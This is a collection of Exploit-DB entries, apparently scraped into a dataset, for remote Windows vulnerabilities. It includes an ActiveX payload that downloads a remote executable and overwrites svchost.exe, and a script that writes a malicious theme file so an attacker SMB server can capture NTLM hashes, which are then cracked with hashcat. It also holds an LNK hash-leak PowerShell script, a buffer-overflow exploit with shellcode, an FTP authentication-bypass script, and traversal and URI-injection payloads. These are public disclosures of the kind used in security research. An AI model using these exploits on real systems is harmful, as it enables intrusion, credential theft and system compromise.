deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32344
Description: Microsoft Windows - Image Acquisition Logger ActiveX Control Arbitrary File Overwrite (1)
Type: remote
Platform: windows
Date: 2008-09-08
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/31069/info

Microsoft Windows Image Acquisition Logger ActiveX control is prone to a vulnerability that lets attackers overwrite files with arbitrary, attacker-controlled content. The issue occurs because the control fails to sanitize user-supplied input.

An attacker can exploit this issue to overwrite files with attacker-supplied data, which will aid in further attacks. 

<object classid="clsid:A1E75357-881A-419E-83E2-BB16DB197C68" id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   dim remURL
   remURL = "http://victim.com/svchost.exe"
   test.Open remURL, True
   test.Save "C:\WINDOWS\system32\svchost.exe", True
 End Sub
</script>
Exploit-DB #52092
Description: Microsoft Windows - NTLM Hash Leak Malicious Windows Theme
Type: remote
Platform: windows
Date: 2025-03-22
Author: Abinesh kamal K U

Exploit:
# Exploit Title: CVE-2024-21320 - NTLM Hash Leak via Malicious Windows Theme
# Date: 02/03/2025
# Exploit Author: Abinesh Kamal K U
# CVE : CVE-2024-21320
# Ref: https://www.cve.org/CVERecord?id=CVE-2024-21320


## Step 1: Install Responder
Responder is a tool to capture NTLM hashes over SMB.

git clone https://github.com/lgandx/Responder.git
cd Responder

Replace `eth0` with your network interface.


## Step 2: Create a Malicious Windows Theme File

### Python Script to Generate the Malicious `.theme` File

import os

# Attacker-controlled SMB server IP
attacker_smb_server = "192.168.1.100"  # Change this to your attacker's IP

# Name of the malicious theme file
theme_filename = "malicious.theme"

# Malicious .theme file content
theme_content = f"""
[Theme]
DisplayName=Security Update Theme

[Control Panel\Desktop]
Wallpaper=\\\\{attacker_smb_server}\\share\\malicious.jpg

[VisualStyles]
Path=%SystemRoot%\\resources\\Themes\\Aero\\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
"""

# Write the theme file
with open(theme_filename, "w") as theme_file:
    theme_file.write(theme_content)

print(f"[+] Malicious theme file '{theme_filename}' created.")

# Optional: Start a Python HTTP server to serve the malicious theme file
start_http = input("Start HTTP server to deliver theme file? (y/n):
").strip().lower()
if start_http == "y":
    print("[+] Starting HTTP server on port 8080...")
    os.system("python3 -m http.server 8080")
```


## Step 3: Deliver & Capture NTLM Hashes
1. Send the `malicious.theme` file to the target.
2. Run Responder to capture the NTLM hash:

   sudo python3 Responder.py -I eth0

3. Wait for the victim to open the `.theme` file.
4. Extract NTLM hash from Responder logs and crack it using hashcat:

   hashcat -m 5600 captured_hashes.txt rockyou.txt


-- 
Abinesh Kamal K U
abineshjerry.info
MTech - Cyber Security Systems & Networks
Amrita University
Exploit-DB #27851
Description: Microsoft Windows - Path Conversion
Type: remote
Platform: windows
Date: 2006-05-10
Author: Mario Ballano BÃ¡rcena

Exploit:
source: https://www.securityfocus.com/bid/17934/info

Microsoft Windows is susceptible to a path-conversion weakness that may allow attackers to bypass security applications. This issue occurs because the operating system uses multiple differing algorithms to resolve file paths.

Attackers may exploit this issue to bypass security software such as antivirus and antispyware products. Other attacks may also be possible.

Any software using the affected function (or APIs and other functions that in turn use the affected function) may be affected by this issue. Specific information regarding affected software and versions is known to be incomplete and possibly inaccurate. This BID will be updated as further information is disclosed.

echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*>"\\?\C:\malware.exe "
Exploit-DB #7125
Description: Microsoft Windows - SmbRelay3 NTLM Replay (MS08-068)
Type: remote
Platform: windows
Date: 2008-11-14
Author: Andres Tarasco

Exploit:
* SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version
* (c) 2008 Andres Tarasco AcuÃ±a ( atarasco _at_ gmail.com )
* URL: http://tarasco.org/Web/tools.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7125.zip (2008-smbrelay3.zip)

# milw0rm.com [2008-11-14]
Exploit-DB #30645
Description: Microsoft Windows - URI Handler Command Execution
Type: remote
Platform: windows
Date: 2007-10-05
Author: Billy Rios

Exploit:
source: https://www.securityfocus.com/bid/25945/info

Microsoft Windows XP and Server 2003 with Internet Explorer 7 is prone to a command-execution vulnerability because it fails to properly sanitize input.

Successfully exploiting this issue allows remote attackers to execute arbitrary commands in the context of users that follow malicious URIs.

Known attack vectors include following URIs in these applications:

- Mozilla Firefox in versions prior to 2.0.0.6
- Skype in versions prior to 3.5.0.239
- Adobe Acrobat Reader 8.1
- Miranda 0.7
- Netscape 7.1
- mIRC.

NOTE: Attackers can exploit the issue in BID 25543 (Mozilla Firefox 2.0.0.6 Unspecified Protocol Handling Command Injection Vulnerability) as an attack vector for this issue. 

The following proof-of-concept URI demonstrates this vulnerability:

http:%xx../../../../../../../../../../../windows/system32/calc.exe".bat
mailto:test% ../../../../windows/system32/calc.exe".cmd
Exploit-DB #42711
Description: Microsoft Windows .NET Framework - Remote Code Execution
Type: remote
Platform: windows
Date: 2017-09-13
Author: Voulnet

Exploit:
Source: https://github.com/Voulnet/CVE-2017-8759-Exploit-sample

Running CVE-2017-8759 exploit sample.

Flow of the exploit:

Word macro runs in the Doc1.doc file. The macro downloads a badly formatted txt file over wsdl, which triggers the WSDL parser log. Then the parsing log results in running mshta.exe which in turn runs a powershell commands that runs mspaint.exe

To test:

Run a webserver on port 8080, and put the files exploit.txt and cmd.hta on its root. For example python -m SimpleHTTPServer 8080

If all is good mspaint should run.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42711.zip
Exploit-DB #52415
Description: Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure
Type: remote
Platform: windows
Date: 2025-08-18
Author: Ruben Enkaoua

Exploit:
# Exploit Title: Microsoft Windows 10.0.19045 - NTLMv2 Hash Disclosure
# Date: 13/08/2025
# Exploit Author: Ruben Enkaoua
# Author link: https://x.com/RubenLabs, https://github.com/rubenformation
# Original Blog: https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/
# Vendor Homepage: https://microsoft.com
# Software Link: https://www.microsoft.com/en-us/software-download
# Version: All versions prior to patch tuesday august 2025
# Tested on: Windows 10.0.19045
# CVE : CVE-2025-50154
# This exploit if for CVE-2025-24054 Patch Bypass


# Start a responder with:
# responder -I <interface> -v

<#
.SYNOPSIS
    Creates a malicious LNK file that triggers SMB NTLMv2-SSP hash disclosure.
    This code is for educational and research purposes only.
    The author takes no responsibility for any misuse of this code.
.DESCRIPTION
    This script generates a .LNK shortcut pointing to a remote
SMB-hosted binary file.
    The shortcut uses a default Windows icon (SHELL32.dll) but still
forces Explorer to
    fetch the PE icon from the remote binary, triggering authentication.
.PARAMETER path
    Local path where the LNK file will be saved (e.g., C:\Users\User\Desktop).
.PARAMETER ip
    IP address or hostname of the remote SMB server hosting the binary.
.PARAMETER share
    The shared folder on the SMB server where the binary is stored.
.PARAMETER file
    The name of the binary file (e.g., payload.exe).
.EXAMPLE
    .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware"
-file "payload.exe"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$path,    # -path
    [Parameter(Mandatory=$true)]
    [string]$ip,      # -ip
    [Parameter(Mandatory=$true)]
    [string]$share,   # -share
    [Parameter(Mandatory=$true)]
    [string]$file     # -file
)

# Build file paths
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

# Create LNK file
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"
Write-Output "Target path: $targetPath"
Exploit-DB #19608
Description: Microsoft Windows 95/98 - UNC Buffer Overflow (2)
Type: remote
Platform: windows
Date: 1999-11-09
Author: UNYUN

Exploit:
// source: https://www.securityfocus.com/bid/779/info
 
There is a overflowable buffer in the networking code for Windows 95 and 98 (all versions). The buffer is in the part of the code that handles filenames. By specifying an exceptionally long filename, an attacker can cause the machine to crash or execute arbitrary code. This vulnerability could be exploited remotely by including a hostile UNC or file:// URL in a web page or HTML email. The attack would occur when the page was loaded in a browser or the email was opened (including opening the email in a preview pane.) 

/*=========================================================================
   Microsoft IE5 for Windows98 exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =========================================================================
*/

#include    <stdio.h>
#include    <windows.h>

#define     MAXBUF          1000
#define     RETADR          53

/*
    jmp esp (FF E4) code is stored in this area.
    You must change this address for non-Japanese Windows98
*/
#define     EIP             0xbfb75a35 
                                         
unsigned char   exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};

main(int argc,char *argv[])
{
    FILE                    *fp;
    unsigned int            ip;
    unsigned char           buf[MAXBUF];

    if (argc<2){
        printf("usage %s output_htmlfile\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;   
    fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
    
    memset(buf,0x41,MAXBUF);
    ip=EIP;
    buf[RETADR-1]=0x7f;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=( ip>>24)&0xff;
    memcpy(buf+80,exploit_code,strlen(exploit_code));
    buf[MAXBUF]=0;
    fprintf(fp,"%s/\">\n<HTML><B>",buf);
    fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
    fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
    fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
    fprintf(fp,"</HTML>\n");
    fclose(fp);
    printf("%s created.\n",argv[1]);
    return FALSE;
}
Exploit-DB #21485
Description: Microsoft Windows 95/98/2000/NT 4.0 - WinHlp Item Buffer Overflow
Type: remote
Platform: windows
Date: 2002-05-27
Author: Next Generation Security

Exploit:
source: https://www.securityfocus.com/bid/4857/info

HTML Help ActiveX control (Hhctrl.ocx) ships as part of Microsoft HTML Help and is designed to work with Internet Explorer to provide functionality for help systems.

A remotely exploitable issue has been reported in the WinHlp facility. The software fails to perform sufficient boundary checks of the Item parameter in the WinHlp command. This issue resides in Winhlp32.exe.

An attacker can exploit this condition by embedding a call to the vulnerable ActiveX control in a malicious webpage or HTML email. If successful, the attacker may be able to execute arbitrary code on the client system as the Internet Explorer user.

Note that Windows ships with HTML Help.

The HTML Help ActiveX control can also reportedly be used to mount denial-of-service attacks and exploit other stack- and heap-based overflows.

Tiny Personal Firewall 3.0 reportedly treats the HTML Help facility as a trusted application in the default configuration. As a result, any outgoing/back-channel connections that stem from successful exploits will not be blocked by the firewall in the default configuration. Note that this issue is reportedly not present in Tiny Personal Firewall 2.0. 

<OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp
type=application/x-oleobject width=0><PARAM NAME="Width"
VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command"
VALUE="WinHelp"><PARAM NAME="Item1"
VALUE="^횄혨^횄혨^횄혨^횄혨^횄혨^횄혨^횄혨^횄혨3횄?Phcalc^횄혥4$&#402;횄?&#1;PV횂쨍횂짱횂짠횄짤w^?횄혨3횄?P횂쩐&#8221;^횄혧횄짤w^?횄?AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP
PPPQQQQRRRRSSSSTTTAAAA&#11;횂짤횄쨉wABCDEFGH^횄혨&#402;횄?&#21;^?횄짝gMyWindow"><PARAM
NAME="Item2" VALUE="NGS Software LTD"></OBJECT>
<SCRIPT>winhelp.HHClick()</SCRIPT>
Exploit-DB #20371
Description: Microsoft Windows 95/Windows for Workgroups - 'smbclient' Directory Traversal
Type: remote
Platform: windows
Date: 1995-10-30
Author: Dan Shearer

Exploit:
source: https://www.securityfocus.com/bid/1884/info

Samba is a set of of programs that allow WindowsÂ® clients access to a Unix server's filespace and printers over NetBIOS. A directory traversal vulnerability exists in Microsoft's implementation of the SMB file and print sharing protocol for Windows 95 build 490.r6 and Windows for Workgroups.

smbclient normally rejects '/../' sequences in user-supplied pathnames before submitting them to the server. This prevents an attacker from traversing the server's directory tree and accessing files which would normally be inaccessible.

Because the check for '/../' is peformed by smbclient, the server assumes the client is filtering invalid input. However, a modified client can be made to accept the restricted '/../' sequences, appending these characters to filenames and submitting them as a request to the server.

Since the server leaves this input validation up to the client, once the server is provided with path information which contains '/../', it assumes it to be valid. As a result, a directory traversal becomes possible, granting an attacker access to normally-restricted portions of the host's filesystem. This can lead to the disclosure of security-related information, leaving the host open to further compromise.

Connect to a resource using smbclient. 

Issue commands "cd ../" or "cd ..."
Exploit-DB #25454
Description: Microsoft Windows 98/2000 Explorer - Preview Pane Script Injection
Type: remote
Platform: windows
Date: 2005-04-19
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/13248/info

Microsoft Windows Explorer is prone to a script injection vulnerability. This occurs when the Windows Explorer preview pane (Web View) is enabled on Windows 2000 computers. Windows 98/98SE/ME are also affected by this issue. If a file with malicious attributes is selected using Explorer, script code contained in the attribute fields may be executed with the privilege level of the user that invoked Explorer. This could be exploited to gain unauthorized access to the vulnerable computer in the context of the currently logged in user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-1.doc

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-2.doc

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25454-3.doc
Exploit-DB #20283
Description: Microsoft Windows 9x/ME - Share Level Password Bypass (1)
Type: remote
Platform: windows
Date: 2000-10-10
Author: stickler

Exploit:
source: https://www.securityfocus.com/bid/1780/info

Share level password protection for the File and Print Sharing service in Windows 95/98/ME can be bypassed. 

Share level access provides peer to peer networking capabilities in the Windows 9x/ME environment. It depends on password protection in order to grant or deny access to resources. Due to a flaw in the implementation of File and Print Sharing security, a remote intruder could access share level protected resources without entering a complete password by programatically modifying the data length of the password.

The flaw is due to the NetBIOS implementation in the password verification scheme share level access utilizes. 

The password length is compared to the length of data sent during the password verification process. If the password was programatically set to be 1 byte, then only the first byte would be verified. If a remote attacker was able to correctly guess the value of the first byte of the password on the target machine, access would be granted to the share level protected resource.

Windows 9x remote administration is also affected by this vulnerability because it uses the same authentication scheme.

Successful exploitation of this vulnerability could lead to the retrieval, modification, addition, and deletion of files residing on a file or print share.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20283.zip
Exploit-DB #20284
Description: Microsoft Windows 9x/ME - Share Level Password Bypass (2)
Type: remote
Platform: windows
Date: 2000-10-10
Author: Gabriel Maggiotti

Exploit:
source: https://www.securityfocus.com/bid/1780/info
 
Share level password protection for the File and Print Sharing service in Windows 95/98/ME can be bypassed.
 
Share level access provides peer to peer networking capabilities in the Windows 9x/ME environment. It depends on password protection in order to grant or deny access to resources. Due to a flaw in the implementation of File and Print Sharing security, a remote intruder could access share level protected resources without entering a complete password by programatically modifying the data length of the password.
 
The flaw is due to the NetBIOS implementation in the password verification scheme share level access utilizes.
 
The password length is compared to the length of data sent during the password verification process. If the password was programatically set to be 1 byte, then only the first byte would be verified. If a remote attacker was able to correctly guess the value of the first byte of the password on the target machine, access would be granted to the share level protected resource.
 
Windows 9x remote administration is also affected by this vulnerability because it uses the same authentication scheme.
 
Successful exploitation of this vulnerability could lead to the retrieval, modification, addition, and deletion of files residing on a file or print share.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20284.tar.gz
Exploit-DB #12119
Description: Microsoft Windows FTP Server 1.4 - Authentication Bypass
Type: remote
Platform: windows
Date: 2010-04-09
Author: chap0

Exploit:
# Exploit Title: WINDOWS FTP SERVER by DWG (Auth Bypass) 
# Date: April 09, 2010
# Software Link: [http://www.windowsftpserver.com/free_download.html]
# Version: v 1.4
# Tested on: Windows XP SP3
# Author: chap0 
# Email: chap0x90[at]gmail[dot]com
# Site: [www.setfreesecurity.com]
# 
# Windows FTP Server by DWG Software is vulnerable to
# authentication-bypass that will allow attackers to 
# connect with any username and password.
# This give attackers full access to the Top Level 
# directory of the ftp server.
#
# Greetz and many thanks to all Exploit-DBers and GOD gets the Glory
# 
# 
#!/usr/bin/perl

use IO::Socket;

$luser = "evil";
$pass = "hacker";

$mysock = IO::Socket::INET->new(PeerAddr =>'192.168.2.6', PeerPort => '21', Proto => 'tcp');

print "Connecting with a bad credentials. . .\n";
sleep(1);

print $mysock "USER $luser\r\n";
print $mysock "PASS $pass\r\n";

print "Making HACKED folder . . .\n";
sleep(2);

print $mysock "MKD HACKED\r\n";

print "DONE . . .\n";
sleep(1);
Exploit-DB #34462
Description: Microsoft Windows Kerberos - 'Pass The Ticket' Replay Security Bypass
Type: remote
Platform: windows
Date: 2010-08-13
Author: Emmanuel Bouillon

Exploit:
source: https://www.securityfocus.com/bid/42435/info

The Microsoft Windows implementation of Kerberos is prone to a security-bypass vulnerability.

Successful exploits may allow attackers to gain unauthorized access to affected computers through replay attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34462-2.tar.gz
Exploit-DB #9093
Description: Microsoft Windows Live Messenger Plus! Fileserver 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2009-07-09
Author: joepie91

Exploit:
###########################################
Windows Live Messenger Plus! FileServer 1.0
###########################################
Found by joepie91


The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder.

This is an example of a normal communication:
> !login username password
< Login succeeded.
> !dir
< [directory listing goes here]
> !cd music
< OK
> !get music.mp3
< [music.mp3 is sent here]

However, when using ../ with the !cd command, you can actually go beyond the root folder.
This is an example communication (the root directory is C:\shared\files\):
> !login username password
< Login succeeded.
> !cd ../
< OK
> !cd ../
< OK
> !cd windows
< OK
> !dir
< [here goes a directory listing of C:\windows]
> !get explorer.exe
< [client sends back explorer.exe, even though it doesn't have any use]

This very basic vulnerability should be patched as soon as possible, to prevent abuse.

# milw0rm.com [2009-07-09]